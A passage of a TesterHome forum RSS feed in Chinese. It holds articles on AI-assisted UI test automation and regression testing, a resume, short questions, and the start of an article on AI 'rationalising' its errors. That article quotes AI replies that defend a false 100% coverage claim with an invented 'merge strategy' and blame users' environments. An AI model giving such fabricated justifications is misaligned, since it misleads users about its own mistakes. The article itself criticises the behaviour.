&lt;p&gt;&lt;strong&gt;特别提醒：&lt;/strong&gt; 在 Skill 调试和初期使用阶段，建议打开真实网页，挑几个关键页面和关键元素，用开发者工具核对 AI 生成的 &lt;code&gt;pages.yaml&lt;/code&gt;、POM 类、定位策略与页面实际元素是否一致，确保解析结果的真实性和准确性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="写在最后"&gt;写在最后&lt;/h2&gt;
&lt;p&gt;回顾一下整套架构：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;痛点：&lt;/strong&gt; 从页面解析到脚本维护，UI 自动化的每个环节都耗时费力，且高度依赖人工经验。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;方案：&lt;/strong&gt; 不要搞万能 Skill，按职责拆成 4+1 个专业 Skill，每个只做一件事，形成 &lt;code&gt;解析 → 生成 → 增强 → 适配 → 维护&lt;/code&gt; 的完整闭环。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;效果：&lt;/strong&gt;&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;传统模式&lt;/th&gt;
&lt;th&gt;Agent Skill 模式&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;人工抓元素 3-5 天&lt;/td&gt;
&lt;td&gt;一个入口 URL，几分钟全站遍历&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;手写 POM + 用例 + 数据，数周&lt;/td&gt;
&lt;td&gt;一步批量生成，分钟级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;demo 级脚本，上 CI 就挂&lt;/td&gt;
&lt;td&gt;自动补全等待/异常/弹窗/验证码，生产级&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOM 断言测不出样式问题&lt;/td&gt;
&lt;td&gt;视觉断言 + 多浏览器 × 多分辨率自动覆盖&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前端改版 → 脚本全废 → 人工修&lt;/td&gt;
&lt;td&gt;变更检测 + 定位自愈 + 基线更新&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;边界：&lt;/strong&gt; AI 负责解析、生成、增强、适配和维护，人负责校验和决策。&lt;/p&gt;

&lt;p&gt;这套 4+1 Skill 架构，不是理论设计，很多成员正在实际使用的方案。很多同学反馈，UI 自动化测试的落地效率明显提升，不再被元素定位、脚本编写、维护成本折磨了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;如果你想深入某个具体 Skill 的实操细节，可以看这个系列的单独拆解：&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="" title=""&gt;ui-page-parser：页面元素解析&lt;/a&gt; — 一个入口 URL，全站自动遍历&lt;/li&gt;
&lt;li&gt;
&lt;a href="" title=""&gt;ui-testscript-generator：脚本批量生成&lt;/a&gt; — 一步生成 POM + 用例 + 数据&lt;/li&gt;
&lt;li&gt;
&lt;a href="" title=""&gt;ui-testscript-enhancer：健壮性增强&lt;/a&gt; — 等待 + 异常 + 弹窗 + 验证码 + 截图&lt;/li&gt;
&lt;li&gt;
&lt;a href="" title=""&gt;ui-visual-assert：视觉断言与多浏览器适配&lt;/a&gt; — 视觉级验证 + 跨浏览器兼容&lt;/li&gt;
&lt;/ol&gt;</description>
      <author>mikezhou</author>
      <pubDate>Tue, 11 Aug 2026 08:42:43 +0800</pubDate>
      <link>https://testerhome.com/topics/44606</link>
      <guid>https://testerhome.com/topics/44606</guid>
    </item>
    <item>
      <title>用自动化测试守住 AI 代码质量</title>
      <description>&lt;p&gt;在许多团队里，AI 已能快速生成大量实现。新的瓶颈不在于代码能否写出来，而是团队能否以同等速度理解改动、验证行为并控制风险。&lt;/p&gt;

&lt;p&gt;继续把是否有人读过代码当作质量的核心证明，成本会越来越高，结论却未必更可靠。更值得追问的问题是：这段代码是否已经在足够接近真实业务的场景中被验证过？&lt;/p&gt;
&lt;h2 id="代码审查不能独担质量"&gt;代码审查不能独担质量&lt;/h2&gt;
&lt;p&gt;强制代码审查并非毫无价值。它适合讨论设计取舍、同步上下文、识别明显风险，也能帮助新人理解系统。对于权限模型、核心交易逻辑或跨团队接口这类改动，审查中的追问仍然不可替代。&lt;/p&gt;

&lt;p&gt;可以设想一个常见场景：一次改动同时涉及接口参数、库存扣减和失败补偿。审查者能够发现命名含糊、边界判断缺失或事务设计不合理，却很难只靠阅读确认重复请求、依赖超时和历史数据兼容时，系统仍会给出正确结果。代码看起来顺畅，不等于业务流程已经走通。&lt;/p&gt;

&lt;p&gt;问题在于，人工审查不适合继续充当发布前唯一、甚至最主要的质量门槛。审查质量会受到审查者时间、经验和注意力影响。即使所有人都认真阅读，也很难仅凭静态阅读确认代码是否覆盖了真实用户路径、异常分支和历史回归问题。&lt;/p&gt;

&lt;p&gt;当代码产出被 AI 放大后，这个矛盾会更突出：生成速度越快，要求人工逐行确认的工作量越大，审查越容易退化成形式上的通过。团队需要把审查用于人擅长的判断，把回归验证交给机器持续执行。&lt;/p&gt;

&lt;p&gt;审查回答的是设计是否合理、风险是否被看见；测试回答的是行为在既定条件下是否成立。前者帮助团队做判断，后者为判断提供可重复的证据。两者衔接得越清楚，审查才越不容易沦为最后一道无法证明的心理安慰。&lt;/p&gt;

&lt;p&gt;质量信心不能只建立在读过代码上，还应建立在可重复执行的真实场景验证上。&lt;/p&gt;
&lt;h2 id="自动化测试是证据"&gt;自动化测试是证据&lt;/h2&gt;
&lt;p&gt;代码来自开发者、同事、开源社区还是 AI，并不直接决定质量。真正有价值的证据，是它能否持续通过一套覆盖核心用户故事的自动化回归测试。&lt;/p&gt;

&lt;p&gt;这类测试不只是验证某个函数返回了预期结果，而是从用户实际操作出发，检查关键流程能否跑通。例如注册、登录、下单、支付、权限控制、异常处理等路径，都应该有可重复执行的验证。测试通过并不等于不存在缺陷。它只能说明已覆盖的输入、状态和断言在该次执行环境中符合预期，不能替代对未覆盖需求、生产差异或其他风险的判断。&lt;/p&gt;

&lt;p&gt;把用户故事转成测试时，先不要急着写脚本。先把这条路径从什么状态开始、经过哪些关键动作、最终如何判断成功或失败写清楚。这样做的价值在于，开发、测试和业务讨论的是同一条业务链路，而不是各自维护一份相似但不一致的说明。&lt;/p&gt;

&lt;p&gt;不同层次的测试回答不同问题。单元测试适合快速验证业务规则和边界条件；集成测试用于发现服务、数据库、消息或第三方依赖之间的契约偏差；端到端测试验证用户能否完成一条完整业务旅程。它们不是彼此替代的关系。把所有判断都压在端到端测试上，会让反馈变慢、定位变难；只保留底层测试，又可能漏掉真实流程中的组合问题。&lt;/p&gt;

&lt;p&gt;还是以订单提交为例：单元测试可以验证金额计算、库存不足和状态流转；集成测试可以验证订单服务与库存、支付或消息组件之间的契约；端到端测试则确认用户从提交到看到结果的完整旅程没有断裂。三层测试分别失败时，团队获得的定位线索也不同，这正是分层的意义。&lt;/p&gt;

&lt;p&gt;一套可靠的自动化回归体系至少要做到三件事：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;覆盖最关键的业务路径和高风险规则。优先验证会造成资金、权限、数据一致性或用户流失风险的场景，并为每条路径明确关键状态、断言和失败信号&lt;/li&gt;
&lt;li&gt;将测试接入持续集成，并按反馈速度、风险和环境成本分层触发。快速检查可以随提交运行，完整端到端回归可在合并、发布前或固定周期执行&lt;/li&gt;
&lt;li&gt;每次线上缺陷修复后，都补充相应的回归用例。这样测试套件才会随着事故经验持续积累，而不是停留在初始版本&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;除了是否通过，测试结果还应能帮助人理解为什么失败。至少要让执行记录指出失败发生在哪个业务步骤、关键状态与预期有什么差异、是否能关联到相关日志或追踪信息。没有诊断线索的红灯，只会把问题从发布前推到排查阶段。&lt;/p&gt;

&lt;p&gt;落地时不必先追求覆盖所有页面。可以先选一条高风险业务路径，约定它的测试数据、关键状态和断言，再把这条路径接入持续集成。线上缺陷出现后，用新增的回归用例补齐这条路径的盲区。这个闭环稳定后，再扩展到相邻场景。&lt;/p&gt;

&lt;p&gt;当这些测试能在可控的环境中稳定运行，团队对发布的信心就不再依赖某个人是否恰好读懂了全部改动，而建立在一组可重复、可观察、可持续积累的验证结果上。&lt;/p&gt;
&lt;h2 id="测试不等于脚本堆砌"&gt;测试不等于脚本堆砌&lt;/h2&gt;
&lt;p&gt;测试自动化的难点不在于选一个工具，也不在于用 Gherkin、Cucumber 或 SpecFlow 写出看似规范的用例。工具和语法本身不会自动带来质量。&lt;/p&gt;

&lt;p&gt;以 Gherkin 为例，它可以帮助业务、测试和研发围绕场景达成一致，但场景文字本身并不会补齐测试数据、环境隔离、断言位置或失败诊断。如果这些前提没有设计清楚，再工整的 Given、When、Then 也只是把模糊需求换了一种格式。&lt;/p&gt;

&lt;p&gt;真正难的是让测试长期具备业务价值：测试数据是否稳定，环境是否可信，关键流程是否被覆盖，失败后能否快速定位，测试是否随着产品变化持续维护。缺少这些条件，再漂亮的测试语言也会变成维护负担。&lt;/p&gt;

&lt;p&gt;尤其要警惕把业务说明直接复制成 UI 自动化脚本。业务描述追求可读性，自动化脚本需要明确前置数据、状态切换、断言位置和失败诊断。两者可以关联，但不必一一对应，也不应该为了形式统一而重复覆盖同一条路径。&lt;/p&gt;

&lt;p&gt;判断一条自动化用例是否值得长期维护，可以先看四件事：它是否覆盖真实风险，数据和环境是否可控，失败后能否快速定位，产品变化后是否有人负责更新。四个答案都不清楚时，脚本数量再多，也很难转化为发布信心。&lt;/p&gt;

&lt;p&gt;另一个容易被忽略的信号是偶发失败。一次偶发失败未必说明产品有缺陷，也可能暴露测试数据、环境依赖或等待条件不稳定。把这类问题简单重跑到通过，只是在掩盖测试体系自己的反馈质量。更合适的做法是先分清失败来自产品、环境还是脚本，再决定是修复、隔离还是调整触发时机。&lt;/p&gt;

&lt;p&gt;因此，测试体系应从风险最高、最影响用户的流程开始建设，而不是一开始就追求数量。先让少量关键场景稳定运行，再把成功模式逐步扩展到更多业务路径。&lt;/p&gt;
&lt;h2 id="团队能力是门槛"&gt;团队能力是门槛&lt;/h2&gt;
&lt;p&gt;许多团队并不反对自动化测试，问题在于没有真正做成过。测试失败率高、环境不稳定、维护成本失控，这些经历很容易让人得出端到端自动化不现实的结论。&lt;/p&gt;

&lt;p&gt;但这通常不是自动化测试本身不可行，而是团队还没有形成相应的工程能力。测试比开发更依赖系统性思考：既要理解业务，也要掌握架构、数据、环境、可观测性和持续交付。&lt;/p&gt;

&lt;p&gt;要跨过这个门槛，不能把自动化测试交给单独的小组后就不再关注。开发、测试和运维需要共同维护测试数据、环境、可观测性与失败反馈。一个可行的起点是选定一条高风险用户路径，明确它的关键状态和可观测信号，将它接入持续集成；当这条路径稳定后，再按相同方式扩展。&lt;/p&gt;

&lt;p&gt;责任划分可以从最小范围开始：开发为关键逻辑提供可测试的接口和可观察信号；测试与业务一起明确关键用户故事和验收边界；平台或运维保障环境、数据和诊断信息能被稳定使用。重点不是建立更多角色，而是让一条失败的测试有人能接住、能定位、能推动修复。&lt;/p&gt;

&lt;p&gt;内部经验不足时，可以引入有实战经验的指导，帮助团队建立方法和维护机制。更重要的是，为测试维护预留稳定的工程时间。没有明确的用例、数据、环境和失败分流责任，再多用例也会逐渐失去可信度。&lt;/p&gt;
&lt;h2 id="结语"&gt;结语&lt;/h2&gt;
&lt;p&gt;AI 生成代码并没有降低质量要求，反而让质量保障的方式必须升级。&lt;/p&gt;

&lt;p&gt;代码审查可以保留，用于设计讨论和知识共享；自动化测试则为交付提供持续、可重复的行为验证。两者服务于不同的风险控制目标，不应相互替代。&lt;/p&gt;

&lt;p&gt;如果团队不知道从哪里开始，不必先补齐一张宏大的测试蓝图。下一次改动可以先挑一条高风险路径，补齐它的测试数据、关键断言和失败诊断；下一次线上问题修复后，再把对应回归用例留下来。质量体系往往不是一次建成，而是在这些可复用的小闭环里逐步长出来的。&lt;/p&gt;

&lt;p&gt;最终，团队需要同时回答两个问题：这段改动是否经过了必要的设计和风险审视？它是否已通过足够贴近真实业务的验证？&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;相关阅读&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/_8MyUTdQ4BvGq5qnFW-Ucw" rel="nofollow" target="_blank" title=""&gt;AI 写的快，回归测试要跟上&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/uraSCLyEai1jONj-g4YzWg" rel="nofollow" target="_blank" title=""&gt;自动化总是落后于代码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/QNM2gB_xKELU-eIi-clOUA" rel="nofollow" target="_blank" title=""&gt;让测试速度真正跟上 AI 生成速度&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/ibvtsBkzoC_cgnpaNszblg" rel="nofollow" target="_blank" title=""&gt;莫把覆盖率当成答案&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/KqLx8iIp2MTBB8PHjJfc1w" rel="nofollow" target="_blank" title=""&gt;微服务 E2E 测试为何失败&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##### FunTester 名片｜万粉千文，百无一用&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/o1dGKThvC64LvJDnKLybOw" rel="nofollow" target="_blank" title=""&gt;软件测试的道与术&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/MFgZ3Btx0TKOd5sFGFDxcg" rel="nofollow" target="_blank" title=""&gt;测试开发成长史&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/wyyn32HrwmH5uV8F0d2HDQ" rel="nofollow" target="_blank" title=""&gt;AI ，测试有点东西&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/5ssJH4yOE3H1Vk4ziJ0Bdg" rel="nofollow" target="_blank" title=""&gt;《从 Java 开始性能测试》连载全集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/3ilD1fnJFo9Gt8puO7zFiQ" rel="nofollow" target="_blank" title=""&gt;性能测试修炼之道&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/t2k6IITzaFicaEi77iZ5tA" rel="nofollow" target="_blank" title=""&gt;故障测试与混沌工程实战合集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/CSE2UmQNFrHaEnyyM4U41w" rel="nofollow" target="_blank" title=""&gt;我的语言迁徙：Java &amp;amp; Groovy &amp;amp; Go&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <author>Fhaohaizi</author>
      <pubDate>Mon, 10 Aug 2026 21:41:21 +0800</pubDate>
      <link>https://testerhome.com/topics/44605</link>
      <guid>https://testerhome.com/topics/44605</guid>
    </item>
    <item>
      <title>求职 - 测试工程师 </title>
      <description>&lt;p&gt;求职意向：测试工程师 / 测试开发工程师 / AI 质量工程师&lt;br&gt;
所在地：杭州【接受浙江 湖南 深圳】&lt;/p&gt;
&lt;h2 id="个人概述"&gt;个人概述&lt;/h2&gt;
&lt;p&gt;2 年左右软件测试与质量效能实践经验，独立负责 AI 图片/视频创作产品移动端版本质量，具备需求分析、测试设计、接口与兼容性测试、线上问题定位和发布风险把控能力。主导或独立开发算法测试平台、质量效能机器人、Crash 告警及智能问答工具，具备 Python、自动化测试、AIGC 工具集成与内部质量平台落地经验。&lt;/p&gt;
&lt;h2 id="核心技能"&gt;核心技能&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;测试与质量保障：&lt;/strong&gt;熟悉移动端功能、接口、兼容性、订阅支付、埋点、多语言、Crash/ANR、线上客诉等测试；可独立完成需求拆分、测试方案、用例评审、缺陷闭环和版本递交。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;测试开发与自动化：&lt;/strong&gt;Python、Selenium + unittest、Sonic UI 自动化、Locust 性能压测；具备接口轮询、脚本化批量测试、测试报告及自动化回归实践。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;平台与工程化：&lt;/strong&gt;Django REST Framework、Vue、Redis/RQ、SQLite、Docker、Nginx、Jenkins；了解异步任务调度、配置化并发、日志追踪与部署运维。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI 工具落地：&lt;/strong&gt;Dify 知识库与 Workflow API、MCP 工具集成、蓝鲸 MCP、Firebase Crashlytics、钉钉 Stream；具备 AI 辅助需求分析、接口定位与质量提效实践。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;问题定位：&lt;/strong&gt;熟悉 APIfox、Charles、Fiddler 抓包，MySQL/SQL、Linux、K8s Pod 日志、Redis 等问题排查手段；具备客户端、服务端、算法多方协同定位经验。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="工作经历"&gt;工作经历&lt;/h2&gt;&lt;h3 id="[现公司名称]｜测试工程师｜2024.xx - 至今"&gt;[现公司名称]｜测试工程师｜2024.xx - 至今&lt;/h3&gt;
&lt;p&gt;负责 AI 图片/视频创作产品线移动端质量保障及测试效能建设，覆盖版本测试、算法质量验证、自动化专项和内部 AI 工具落地。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. AI 视频应用质量保障&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;独立负责移动端产品版本质量，覆盖需求拆分、测试方案与用例评审、功能/接口/兼容性测试、缺陷管理、发布风险评估及上线后 Crash/ANR、埋点、客诉监控。&lt;/li&gt;
&lt;li&gt;负责 AI 制作工作流、StoryAgent、模型与模版、订阅积分、跨端资产、任务状态及多语言等核心业务测试；协同客户端、服务端、算法及运营定位并推动问题闭环。&lt;/li&gt;
&lt;li&gt;面向 StoryAgent 复杂需求输出测试用例 765 条、开发自测用例 216 条，评审确认 27 处需求及交互缺口，重点覆盖制作失败、重试、重画、任务状态同步与异常兜底场景。&lt;/li&gt;
&lt;li&gt;完成 Billing8.0、Target36 等专项测试，覆盖 Android 7/10/16、32 位/64 位、16KB/4KB 测试机，以及订阅、单包、Restore、订单恢复和 16 类模版等关键兼容性场景。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. 质量效能机器人平台&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;独立开发鲸火机器人及版本发布助手，集成钉钉 Stream、蓝鲸 MCP、Firebase Crashlytics、SQLite 等能力，实现迭代信息与缺陷查询、经办人待办推送、测试报告生成、流水线打包记录、二维码生成及风险提醒。&lt;/li&gt;
&lt;li&gt;搭建 Firebase Crashlytics 阈值告警能力，完成 8 个产品、15 个项目的配置及机器人推送验证；建设机器人埋点与分析看板，跟踪工具调用与消息处理效果。&lt;/li&gt;
&lt;li&gt;基于 Dify 知识库及 Workflow API 搭建客服智能问答工具，完成 Web 交互页、文件上传、埋点统计和 Docker 化部署，支持常见问题自助检索与回答。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. 自动化与专项质量工程&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;主导搭建算法测试任务平台，基于 Vue、Django REST Framework、Redis/RQ、Docker/Nginx 实现测试素材分组、按 &lt;code&gt;STTid&lt;/code&gt; 批量发起图生图/图生视频任务、异步执行、配置化并发、进度追踪、失败重试、结果下载及测试报告输出。&lt;/li&gt;
&lt;li&gt;编写算法制作与 Locust 压测脚本，支持批量测试集执行、接口性能观察和结果沉淀；完善算法接口错误码映射、网络重试、任务日志及图片压缩等异常处理能力。&lt;/li&gt;
&lt;li&gt;维护接口轮询自动化用例，结合 APIfox、抓包和 AI 辅助工具完成接口变更比对、字段校验、回测及问题定位。&lt;/li&gt;
&lt;li&gt;通过脚本和蓝鲸流水线生成多语言专项测试包；基于 Sonic 跑通 12 个核心功能主流程回归用例，并完成 Midscene.js AI 驱动 UI 自动化主流程验证。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="安恒信息｜软件测试实习生｜2023.05 - 2024.xx"&gt;安恒信息｜软件测试实习生｜2023.05 - 2024.xx&lt;/h3&gt;
&lt;p&gt;参与网络安全与企业数字化产品的测试工作，积累需求评审、用例设计、功能回归、接口定位、自动化及质量数据分析经验。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;安恒社区：&lt;/strong&gt;参与 7 个版本迭代，独立负责冒烟、功能、回归及验收测试；编写并评审功能用例 409 条，发现并跟进缺陷 112 个，推动冒烟用例在项目中落地。&lt;/li&gt;
&lt;li&gt;使用 Pandas 分析禅道缺陷数据及 Jenkins 发布记录，按季度输出质量分析文档；通过 Linux、K8s Pod 日志、Redis 等定位环境与服务问题。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;产品基础信息系统：&lt;/strong&gt;参与 2 次迭代，编写功能用例 618 条，发现缺陷 78 个；使用 Selenium + unittest 编写 36 条自动化测试用例。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IRM 需求管理系统：&lt;/strong&gt;参与需求评审、用例评审与全流程测试，编写用例 262 条，发现并闭环缺陷 83 个；跟进异常数据处理及账号权限开通等系统运维事项。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="教育背景"&gt;教育背景&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;绍兴大学｜网络工程｜本科｜2020.09 - 2024.06&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;主修：数据库原理与应用、数据结构、高级语言程序设计、计算机网络、面向对象程序设计、Web 课程设计、Python 编程技术、移动互联网编程、计算机组成原理等。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;奖项与证书：&lt;/strong&gt;国家励志奖学金；“神测网安——网络安全智能检测领导者” 校二等奖；大学生服务外包创新创业大赛省二等奖；计算机三级（网络技术）；英语六级（CET-6）。&lt;/p&gt;</description>
      <author>Hxyaaaaaaaaaaaa</author>
      <pubDate>Mon, 10 Aug 2026 18:43:58 +0800</pubDate>
      <link>https://testerhome.com/topics/44604</link>
      <guid>https://testerhome.com/topics/44604</guid>
    </item>
    <item>
      <title>6</title>
      <description>&lt;p&gt;test&lt;/p&gt;</description>
      <author>Hxyaaaaaaaaaaaa</author>
      <pubDate>Mon, 10 Aug 2026 17:54:57 +0800</pubDate>
      <link>https://testerhome.com/topics/44603</link>
      <guid>https://testerhome.com/topics/44603</guid>
    </item>
    <item>
      <title>想请教各位大佬棋牌或休闲游戏，游戏中环节是否有办法也使用 UI 自动化测试</title>
      <description>&lt;p&gt;1.当前我们已经使用 midscene 对游戏外各界面使用 ADB+AI 识别的方式初步搭建了 UI 测试流程，但是对于游戏中界面变化较快的内容，当前的流程完全没有任何可介入点，想请教是否有对于游戏内也可以进行 UI 自动化测试的工具或者方向。&lt;/p&gt;</description>
      <author>test072908</author>
      <pubDate>Mon, 10 Aug 2026 15:35:01 +0800</pubDate>
      <link>https://testerhome.com/topics/44601</link>
      <guid>https://testerhome.com/topics/44601</guid>
    </item>
    <item>
      <title>AI 说 “覆盖率 100%“，实际只有 69%——自圆其说的 AI 最危险</title>
      <description>&lt;h2 id="这个"&gt;这个"病"长什么样&lt;/h2&gt;
&lt;p&gt;你让 AI 做一件事。它做完了，告诉你："已完成，结果如下……"&lt;/p&gt;

&lt;p&gt;你去验证——结果不对。&lt;/p&gt;

&lt;p&gt;你告诉它："你这个数据有问题。"&lt;/p&gt;

&lt;p&gt;正常逻辑是：它去复查，发现确实错了，然后说"我搞错了，我来修"。&lt;/p&gt;

&lt;p&gt;但它不会这样。它会说：&lt;/p&gt;

&lt;p&gt;"这个结果是在 XX 条件下得出的。考虑到 YY 因素，当前输出是合理的。如果您看到的差异，可能是因为 ZZ 原因导致的统计口径不同。"&lt;/p&gt;

&lt;p&gt;听起来逻辑自洽，有理有据。&lt;/p&gt;

&lt;p&gt;但翻译成大白话就是——&lt;strong&gt;"我没算错，是你数的方法跟我不一样。"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;你较真，再查一遍。它说的"XX 条件"根本不存在，"YY 因素"跟这事无关，"ZZ 原因"完全是编的。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI 不会承认自己错了。它会编一个理由，让错误的结论"看起来没错"。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这叫"自圆其说"——不是撒谎，是大模型在生成文本时的固有倾向：&lt;strong&gt;它会优先让输出看起来合理连贯，而不是让输出符合事实。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这是 AI 协作中最危险的一种病。因为它不是一次性的错误——它会一层一层地给错误结论打补丁，让你越陷越深，直到你完全偏离正确方向，还以为自己在正确的路上。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="我的真实案例"&gt;我的真实案例&lt;/h2&gt;
&lt;p&gt;我在做一个测试用例生成 Agent。它的任务是：读取需求文档，拆解出所有功能元素，然后为每个元素生成对应的测试用例。&lt;/p&gt;

&lt;p&gt;我给它的 Prompt 里有一条硬性约束：&lt;/p&gt;

&lt;p&gt;"生成的测试用例必须覆盖需求文档中的&lt;strong&gt;全部功能元素&lt;/strong&gt;，覆盖率必须达到 100%。"&lt;/p&gt;

&lt;p&gt;它跑完一轮，给我返回结果，并自信地告诉我：&lt;/p&gt;

&lt;p&gt;"已对需求文档进行全量解析，所有功能元素均已覆盖，覆盖率 100%。"&lt;/p&gt;

&lt;p&gt;我看着输出，用例数量看着挺多，格式也整齐。心想"AI 确实靠谱"。&lt;/p&gt;

&lt;p&gt;但作为一个测试老兵的直觉让我留了一手——我写了一段校验代码，把 AI 生成的用例和需求文档里的功能元素做了一个交叉比对。&lt;/p&gt;

&lt;p&gt;跑出来的结果：&lt;strong&gt;覆盖率 69%。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;不是 100%，连 80% 都不到。有 31% 的功能元素压根没有对应的测试用例。&lt;/p&gt;

&lt;p&gt;我把校验结果甩给 AI：&lt;/p&gt;

&lt;p&gt;"我用代码校验了一下，实际覆盖率只有 69%，有 31% 的元素没有对应的用例。你重新检查一下。"&lt;/p&gt;

&lt;p&gt;正常反应应该是："抱歉，我确实漏了，我来补全。"&lt;/p&gt;

&lt;p&gt;但它说的是：&lt;/p&gt;

&lt;p&gt;"感谢您的反馈。经过复查，当前输出中的覆盖率是基于&lt;strong&gt;测试场景维度&lt;/strong&gt;进行统计的。部分功能元素在测试场景中有&lt;strong&gt;合并覆盖&lt;/strong&gt;的情况，即一个测试场景同时覆盖了多个关联元素。因此从场景维度看，覆盖率是 100%；从元素维度看，表面上的差异是由于&lt;strong&gt;合并策略&lt;/strong&gt;导致的统计口径不同，并非遗漏。"&lt;/p&gt;

&lt;p&gt;我看到这段话的时候，愣了三秒。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"合并策略"——它什么时候做过合并？我根本没有要求合并，它的输出里也没有任何合并标记。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;它在&lt;strong&gt;给一个不存在的机制命名&lt;/strong&gt;，然后用这个命名来解释为什么数字对不上。&lt;/p&gt;

&lt;p&gt;说白了：它在胡说八道。&lt;/p&gt;

&lt;p&gt;但说得太像那么回事了。如果不是我事先知道真相，差点就信了。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="这不是个案"&gt;这不是个案&lt;/h2&gt;
&lt;p&gt;我后来发现，"自圆其说"在 AI 协作中出现的频率远超想象。举几个不同场景下的表现：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;场景 1：数字算错&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;你让 AI 统计一份列表里的项目数量。列表里实际有 15 个，它说 23 个。你指出它数错了，它不会去重新数，它会说：&lt;/p&gt;

&lt;p&gt;"我重新核实了一下，23 这个数字包含了子项目和附属配置项。如果只计算主项目，数量是 15 个。"&lt;/p&gt;

&lt;p&gt;——你根本没让它区分"主项目"和"子项目"。它现编了一个分类标准来解释自己的错误。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;场景 2：代码写错&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;你让它写一个函数，它写完了，你说"这个函数跑不通，报错了"。它不会说"我检查一下哪里写错了"，它说：&lt;/p&gt;

&lt;p&gt;"这个函数需要在 XX 环境下才能正常运行。当前报错可能是因为您的环境缺少 YY 依赖。"&lt;/p&gt;

&lt;p&gt;——你明明在标准环境下跑的，它写的函数本身就有语法错误。但它把问题推给了你的环境。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;场景 3：方案选错&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;你让它做了一个技术选型方案。按它的方案做了，发现性能很差。你告诉它方案不行，它不会说"我之前分析得不够"，它说：&lt;/p&gt;

&lt;p&gt;"当前方案在 YY 维度确实有取舍，但在 ZZ 维度上是最优的。如果您更关注性能，我们可以调整优先级。"&lt;/p&gt;

&lt;p&gt;——你一开始就说了要性能优先，它做的方案偏偏不是性能优先的。现在它把问题说成是"取舍"，好像它是故意这么选的一样。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;这三个场景的共同特征&lt;/strong&gt;：AI 不会说"我错了"，它会创造一个上下文，让自己的错误在这个上下文里变成"合理的"。&lt;/p&gt;

&lt;hr&gt;
&lt;h2 id="为什么AI会这样？"&gt;为什么 AI 会这样？&lt;/h2&gt;
